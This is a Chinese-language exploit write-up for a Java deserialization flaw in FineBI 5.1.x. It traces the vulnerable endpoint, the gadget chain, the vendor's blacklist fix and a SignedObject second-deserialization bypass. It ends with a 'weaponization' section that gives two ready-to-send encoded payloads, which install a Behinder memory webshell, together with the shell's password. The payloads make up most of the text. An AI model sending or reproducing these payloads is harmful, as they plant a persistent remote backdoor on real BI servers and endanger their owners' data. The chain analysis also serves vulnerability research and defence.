环境
fineBi 5.1.0
fineBi5.1.18(绕过)
漏洞分析
漏洞接口为/webroot/decision/remote/design/channel
,在fine-decision-report-10.0.jar
中,接口对应com.fr.decision.extension.report.api.remote.RemoteDesignResource
类的onMessage
方法。
在onMessage
方法中,获取request
中的输入流,以此作为参数调用WorkContext.handleMessage
方法。
在com.fr.workspace.WorkContext
的handleMessage
方法中,调用了messageListener.handleMessage(var0)
。
会调用到com.fr.workspace.engine.rpc.WorkspaceServerInvoker
的handleMessage
方法,在该方法中调用当前类的deserializeInvocation
方法。
在deserializeInvocation
方法中,调用了SerializerHelper.deserialize
来对request
输入流进行反序列化,传入两个参数,一个是输入流,一个是Serializer
对象。
Serializer
对象是通过以InvocationSerializer.getDefault()
作为参数调用GZipSerializerWrapper.wrap
方法获取。
InvocationSerializer.getDefault()
方法是创建InvocationSerializer
对象。
GZipSerializerWrapper.wrap
方法是创建GZipSerializerWrapper
对象,并且将InvocationSerializer
对象作为this.serializer
的值。
接着调用SerializerHelper.deserialize
来对request
输入流进行反序列化,这里的var1
为GZipSerializerWrapper
对象,将会调用GZipSerializerWrapper
的deserialize
方法。
在com.fr.serialization.GZipSerializerWrapper
的deserialize
方法中,会调用this.serializer
的deserialize
方法,这里的this.serializer
为InvocationSerializer
对象。
最终会调用com.fr.rpc.serialization.InvocationSerializer
的deserialize
方法,var1
为request
输入流,调用了readObject
进行反序列化。
inputstream
输入流在com.fr.serialization.GZipSerializerWrapper
的deserialize
方法中会被包装成GZIPInputStream
对象,在发送数据的时候需要将inputstream
进行GZIP
编码。
利用链
在fine-bi-engine-third-5.1.jar
包中集成了CB
链依赖
生成利用链
1 | package org.example; |
通过py脚本利用
1 | import requests,base64 |
不过这里发现一个问题,当使用commons-beanutils 1.9.2
生成反序列化数据提交不会利用成功,通过arthas调试会发现报错java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
,这是由于commons-beanutils
版本跟帆软环境中的不一致造成的,将生成序列化数据的环境从1.9.2
换到1.8.3
即可。
修复方式
在5.1.18
版本中,InputStream
对象已被JDKSerializer.CustomObjectInputStream
类重新封装。
重写了resolveClass
方法,如果被序列化的类名在BLACK_SET
变量中,则不会进行序列化。
从/com/fr/serialization/blacklist.txt
中得到禁止类序列化的名单。
在fine-core-10.0.jar
中的com.fr.serialization.blacklist.txt
路径下
二次反序列化绕过限制
通过blacklist.txt
黑名单可以看到,常规利用链都已经在黑名单中,那么真的就没有办法进行利用了吗?根据师傅们的高见,得知可以利用SignedObject
类进行反序列化绕过黑名单中的类名再次反序列化进行利用,俗称二次反序列化。
在java.security.SignedObject
类中存在一个getObject
方法,这个方法会this.content
变量进行反序列化。
而SignedObject
类的构造方法会将传入的object
对象进行序列化,并赋值给this.content
变量。
那么通过SignedObject
这个类,可以将某个利用链,如CB链触发点PriorityQueue
对象,作为参数传递进去,再找到一条路径调用getObject
方法,便可以实现二次反序列化。
getObject
属于getter
方法,在fastjson
中,对一个类进行序列化会自动调用该类的静态代码块
、构造方法
、getter
方法。
但是在帆软环境中是没有fastjson
依赖的,帆软中对json
的处理是使用的jackson
;在jackson
中序列化一个类也有着类似的效果。
在com.fr.third.fasterxml.jackson.databind.node.InternalNodeMapper
类中,nodeToString
方法和nodeToPrettyString
方法都调用了writeValueAsString
对JsonNode
进行序列化。
而在com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode
的toString
和toPrettyString
方法中也对如上两个方法分别进行调用;this
代表所传入进行序列化的对象是当前调用的对象,当BaseJsonNode
对象和继承了BaseJsonNode
的对象调用到toString
方法,就会调用InternalNodeMapper.nodeToPrettyString(this)
对当前调用的对象进行序列化,自动调用getter
方法。
BaseJsonNode
类被18个子类继承。
在这个18个子类中,只有POJONode
类的构造方法能传入Object
对象。
这里,我们将SignedObject
对象作为参数,创建一个POJONode
对象,并调用其toString
方法,并在SignedObject
的getObject
中打上断点,运行便调用到了该方法。
调用栈
1 | getObject:177, SignedObject (java.security) |
将SignedObject
封装在POJONode
类中,调用其toString
方法,便触发了SignedObject
的getObject
方法。为了在执行反序列化readObject
中调用到POJONode
的toString
方法,接下来还需要找到一条直接或间接的点能够触发POJONode
的toString
方法的点。
在javax.management.BadAttributeValueExpException
的readObject
方法中,调用了toString
方法。
并且this.val
可通过构造方法进行传递。
将POJONode
对象封装在BadAttributeValueExpException
中,可直接进行触发。
但是不幸的是,该链在某个版本已经遭遇黑名单的残害了;不过还存在一个点,在org.apache.commons.collections.bag.TreeBag
的readObject
方法中,创建了TreeMap
对象传入,调用了父类的doReadObject
方法。
doReadObject
方法调用了TreeMap
的put
方法
TreeMap
的put
方法中调用了compare
对key
值进行比较,这里的comparator
对象可以在创建TreeBag
对象时传入,那么可以在创建TreeBag
对象时,通过传入指定comparator
对象,执行反序列化时就会自动调用comparator
对象的compare
方法。
那么在org.freehep.util.VersionComparator
的compare
方法中,调用了toString
方法。
不过VersionComparator
这个类并没有继承Serializable
反序列化接口,不能进行序列化。
到这儿就完了吗?并没有,有时候不得不佩服师傅们的智慧。在com.fr.base.ClassComparator
这个类中,可指定类名创建ClassComparator
对象,在执行compare
方法时,会反射加载指定的类名,并调用其compare
方法,关键的是继承了Serializable
接口。
所以这里选择将VersionComparator
类的包名org.freehep.util.VersionComparator
作为参数创建ClassComparator
对象,最后再将ClassComparator
对象作为创建TreeBag
对象的参数,执行反序列化时,就会调用到ClassComparator
的compare
方法。
调用链
最终的调用链如下。
1 | org.apache.commons.collections.bag.TreeBag#readObject |
坑点
在构造利用链的时候遇到的一些问题。
add添加POJONode
对象坑点
在序列化TreeBag
类的时候,需要add
添加被触发的POJONode
对象,但是执行add
会提前触发漏洞执行,为了防止提前触发漏洞,需要先add
一个无关紧要的对象,然后再通过反射修改数据为POJONode
对象。
1 | final Class<?> superclass = treeBag.getClass().getSuperclass(); |
执行writeObject会自动触发调用
当按照调用链,把整条链子构造出来,执行writeObject
序列化的时候,会提前触发调用,并且会报错,导致序列化后的数据不能正常生成。
报错提示
解决办法是将com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode
类反射加载,获取到writeReplace
方法,移除掉,即可正常生成。
1 | final CtClass ctClass = ClassPool.getDefault().get("com.fr.third.fasterxml.jackson.databind.node.BaseJsonNode"); |
生成exp
1 | package example; |
武器化:打内存马
帆软 5.1.0 打冰蝎内存马
1 | 密码: Oknfbivaa |
1 | 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帆软 5.1.18 打冰蝎内存马
1 | 密码: Oknfbivaa |
1 | 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HxX4DciAqVQuMbh7DwZ7sERgPQAPUg4uFLXJDc3U33VeqMiciCDboXeAUepoVHTGNNLhfltkOIj4Vesyx1R2gymjjeEKgp4+EtkDsRRo45X0cHzqyrU6iO46HI8F10F81+iYWAdJAtdeIbEO0lvhog27ZJkZjlGUnYfcFjDGPBQ9FAgs8GJPanJRTq1LqNPaaxtzK0r38k8JTlHrPoR64h70ycMCvAnm5iEFpzFqKBoZjFfZjZCtyVJXrCRkieUURZL1wEyCDynQPK/bKYWnzshprtPlRJa7lyKOhQrNDxx1BSPjXnqoEZjFGz86mR+L0dAcxSt3mPQg6MGLX9GXaQ4Beu0ukOMQCi9Bex4y0MGY2jWlA2U/qBT308h/AXoUhBnoo7hbz1jQ4rsQP37OtABDGM1DAn4K89Rlkzp46zycoVY5hAEsVhi5MolVPbwNd0J4X5Ydt0CM2r8d3kEj8Z1IkZFaLKP6MP9VKtwlFu/CqUvhr+0YkZgKjZWlKyUdT6G8Pws/R33186iaKo0dvQD/jjrwDPx7XJpgZEYQOCHPlZl2e8daPfwSgVt2C7MH0bsJ7JM5RerK6HQ9vEcPN5Hxs9uxNKnxE60dKf5XCdxwfHegSH2a6SZl4tfn4dfgUQK3XiIJooQ1RnCxFFg7WH0AJbxEFZPSXbY+xvwOog8SMFwikrkqfcxvDGKAoGZIkdHQtmPBb6BK6a2nyDSVXZ5nr5LjD++hkw5+k2ivAkYj91BFblOn3Jh6KlwVg2YCtGORK8Uba4FMZ7W1CO8rsEgz2E4UXH8VDCBu9pzQwe9hXLBdGVPgJHlcnuYnOWwBnoKnKYqewUK2FSBjJgvwSQqwM/CpBZilqJqCTVRYwMmJdnfu1Q/sEVjn4dl5+Dh8GtUSuX5QVDCGWEw2vw9rlP9nFmB+zP95TG8V7dHw+DklrW97bHHKvQAvwOfoiv9IxR7xbS9Hn6MjWlGsueOn3BrN5+FFSvOSHs7q4Imt/DuGHYZajRrqj7G2ZIoJ3wL8CXxsH/wn+ALSoSGQocDIXGUrzz64hyBXPqy+5+r+XoAvwpeoun+KQXI1Kh38OTpO4dRxPPBaHzJzvETD5y/gL+fhy/AKpmvtZU+8Ss0T3LnlRCvc6yvw1XlU5q/QGuN6QcC5R3469WOW8v8Kf033/jruLWljl5fE7d5s31bvhhT7mK1ytl1id1c5pJ/nlaBI13KVf7Mz2PI/JtW/h3+grv1HLD2YfF3ttsCPQ97XQ8hfeuz9LQJv/LGYXunLH9c2Jfg2FeWfsWQibq4mCibQ/6mDb261BpfsgMXlX9FLjDK2053Hr77vzm7wf8P/mYf/Bf+Xlohd76a2XnVOUu73aBvxfXrBAnSj8poC/oh2PJImFS1n9+whyQJcRJ9BjhDsnHj8DSJeuR4v7Hh7scdbKzJ+qaa1oMEFoiN6ymMf3SW4p1F7ZD+lWNhOCPIk5+gmX/EO87gkU9jsK2+91cAsd7kf71umCfwofbPV4hV2xe1K++w275iLnhxGRlVJ1rofcoQmqjPk6KU01K1WKdUNuAk6dxykC+SYFsnkdRNvjl8ojlOWntw07tm2d7gFvTvmpie37ap9Y5tJqp/2VpeqFHk9JrWtdMZVvIyKzda01EV03BLZeklDS47mqbj2Ogx155gWKjrFY29885VkQXEn1VxXpFlzm6GGHRwwbpSCictIy5oN0NXI+KbX3F5HVhBjr7W1jpi2mFxtSx2xzBMj7XxnaR6nICar88RM7JeaC/qSaoeQY6K1eWIleFqZGZc7bTVi7V5yH53AU8hsX+ZpndbhTDCIi8gD5EHci+D5Yr8qbctLMy6tH8RDvHTaR61fxv50X5XnhMoY5LPaPUbfHhnfT6co5mmHS+CBn7hF381ogYRJBFMMwePG9Vch0pH4PEnAK/SCve7Nl7dOGtEOiOGx49bIaxOhAtfsKIT+sb4n/42af7noOZKnoYIHlwPILN1tc7LW2iyQEm23z5BT8yRDHx0sjI8GY/tgCLW0WBsbWzf+Qg8ap65eYQncdoVKl7WMSHP7znq5Z/NJqxJ9e97yjPuzPV5Ko/81CgyP1qRB2KdyrXH/rCMYr4tX9BAo/U27c+rlHQJpkCY1iUBrLR425vAQxQhoKgnegQco0h63JrSvx105mT6rULTG7koJF4hMFORD1Hn4ELXvvJa/FIWpYaLr037rMTKg/TjO6e9jBe0ZDy1k98BteJ3R/mTjIBDa++FVh9+uwU+CnzOHYd/T4z/poJ0bUu+no/jtgEZ3PUxrdPsvwKHiYbj2HBzZIl+EoxNmryDRLH7al8/B8vImrEQMz4KFQPTEs4Ch/ii8Dm/WCcSWT56D+9dnlk8uzWyC++zFvzkLM5FnkMsMmMEGN+DnEvK5C/bh9Q78Ru/uhlvhOF7vgRVYRrqTSGmAVTDBMaRaRqq7UYrXwY14dyuqeRPeTeO643Az3KIJb8fx2/DzdvxdwJHx3Ovx7jiOHIOZi2iPaR1M6eBOHXKD78Gtbh2KgxQGOIHcUMspquVBHBpegFzxHOQji6nF4nl442chhj9REjuxPrM085x9dto+d2TuyOzjxLU0c2TOsq5b0m3CmxfLm1B9FD558iV4akm3WD8PzcUWvYh4+Sxk1vVL+k2Qn4UugfV9S/smpnsbvUPbrc8v6ZfmN2GwTb9/af82/cLSwoQ+Su8o/YGl/UsHkD528kU4dnIT3rIJP734M5oM+w0nn4WHpyC/c+qR3VNnLz519uJbzkKfCv8LL4KkfWq0v7j4y0j7fji6c+hXtOVBbWjxvVSv9+Hl/3Pzd86Rs68+dxYOrc9cgF8rLs2cg/c/b3ga3XEDqZPmNlBkdDWAFfQIiaMIiRvAgQBxghvWoQBvgD7cj0drF5zFkafAA58DL7wMfvgabMDfQQD+AYLwLQjBP0OE3AhRcgJi5AGIkw1IYE5LkjI4SB17lyZkSAuyGGt5DXRVjJWzyNuD+x/AHd6MfH0YOX3oIPcbcbYA78E9fCiZmZhxpyDokMM87hWm8UiGE0jqSWcC06OEhQhEMQJvIMwExFuAHVNtATYOBy/iF90WYGM6SOAV2zh4FR7UQUoHGYTxq2DUJuj9D2EV778Px74LU9+DqamTy9r9LEX5fi3k9bjdY5hePgwfoX8HBY/j771w3zjCSRtTgx7HHyHR8/AJdHEMYbzfoHnvP8ROYsyf24QLm/Bc9CxUMMA34bPn4Q/Owx+uzy5+fPGP5j4DZ4rTiy+nizOfgP+cLs7S6yb82frc0hxmgv+yNHcSSRLF6aVZJJk+D19DmqXZ5+jNJnzjs3BmHESU/ez67ImnUbgjaL870ON3wdvgHfBRFJ8i4n44hNeHcP6NGOZvQu+cRsoy0gpIzSI1Bxb0XwJq2EfXYQQ8rm8ihwY8DC3NuylU1QIx+C14AtNaAhPNWfhtNMAIf38HPoYGuQu5TjwJj0w8Se+o17BvQ040HU2hBGfgd+FJlI36zQAzP4Ijmk8+jj674SLKN6s5MTEepCmH6OCj39eS8wPwILKg1j+KV5pn28uGE+OA2YR/ehRmnjEs/veZsWkT6RnNgCfS5+F/5M/CRsyw+C9acvoO/tDEdB6+uz5LU9fS7Dn4AbU88vph3rD46oTFdyYsluY2yZTGhmbma1B0A8o1Nu+KhpUOGlnGmS7OncHZHubIPobcAENtiCAeQRreChL8tGbOAMq+jsH5N/BNNJgLefwtAn4W6V6PQfjf0KgnMJCoOaepjtvmbE/MSe/G5qRGnIfpa0poqB/gmq1ShVajp8ixteBfxvkagjstEDtJ9Z/R9J+h+o+z9NLsJpl/HG5Zmj2CWh8YG/eEloxmZ56kaeji16afpH9Wp6l/uxYEb0dUvQMOwzsxJh9G9d+FrnoEFXsYI/7nt1W+De4i02QG1UNRtpUKbisVJLOE1tsDGGTUNNPI0a6ZZgb5GjTTzGoq3wrTF3G5bgsqh3TwHS3wc8jnlu8j1SVD6OnTlAlsaLWnCJUOk+vOk+sjhsNkaeLrQ+lNciOG73Njly+Po+xl/Hk6epjcPKG+dRqpkZDgZwIpYjRdHya372Ry8koOmnonsE5vpeljmhF+GYV6N47+CiLgPYiH96Ix3qeZy4Yq0HcqBzG4CI7eRQ5p6W8FXOQaxMUUVYJcSyiXVSxuYzqaHI9qquJKsogj2px2R82GrU6LRtR+DTUz5A4tuz2GQfl5eHGClT+HsYPuv0CMxXPEFrlAzMXlc8QRvUCsxRPnyHrsWgK/r1+foS0Lub9on/0AHDIszUwfQeRgB/MtwybxP70NkJs1ru9HN3wArsW9jsEH0XO/gVp/GMvS45q29493JHdieqF5107uInejzNfCSXKc3IOSHYM7yDIxIM/b4CYsSk+glMvY3J1EOI0hgdFAIYHZ42UdMeqIWUeseA/wQ/pu7lILp6eP5Ce65vGTRti1y4bzJBY9gfokTyxvktTTWsJf0npESvAECngWmfy2Ju6t40VYE2/UEHwtCRDaRc7BfhIkoR0dI6KPHm8m272E6yj6jmMxeEv0xIuwdAJtVYydpPuefDp2YpM8FD178R8vkEzRcI688XmtMTuCdTCzqw18ElX+Pbx7CpPO03AdPINO/wT2pZ9EeT6F0bK5DaFDWGOpRNM4OwshktUkP74t+fGJ5LOYeGgen9qur9oIAmecYg7A9A+pac8kdCSj31IPxTpO37NM1HPjGMXlwWUDjRIaIZgyL5lyTouCT2vCHR1TkjdNBDlITmuCbNXdDyFSPoz9bQm+PeY+db3WwQK8vPwCnHkU5pexBJ4FHTXl+gxZn12awQQ++xJUluZehNMnXgIPzdqtdd20XX9Ev6R77nFYWdId0Vs2iYhW7zwKS5Ov3efeDwe0+/XZs7DvnXpMcV88CwtLc7S2/BkOXvwdLLbI7aH1ubMXP0h3WbgAH6I+6j2/NEvL9VioY0uzBBPCN55e12lNmm6TDM+REdIs7zWMGt2JVaOrafubWLAfQxd+Gi7g5zh2RMzyAM+hi59HB76A3z6HK/4A7fIiluCXsBv5QyzZf4SF/WVsuF7CIv4niO4vIM8/Ra5fxAr0JfpIFn4Go/pdeOr6JfhLzC+vIP+v4G5fRVj/Fe74ddzxG/AZTLnUMyOgL1GtWqLW4y528mZsvnTIS4cAKuP1CYRDCFszHa7ZukO/bIPq5Ykv6V2FcJqnXyZVLaFfh+CkQJuhcCU1DKhZ1OopbCk/hvigUDPCwYMeRNqroMerDr6M1x/B9TrCkxPfg9kpPTZoH9p/AFu4xw5u4GUHZGgq05Of2j6E3altDbDvAkxhKnsLVm96flnSsh+dug0XIuDbKkwzDNPuExjQP8Q+MOjSj4O0uptOTF135NDxH9yvT777L+77hWqu8cgfrzyc+ubUdeH68h0/Fz1+98m//to1hz7yrkc/uJn9EjLypl3j//sw+H9RyWq5tDEAAA== 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反序列化类黑名单
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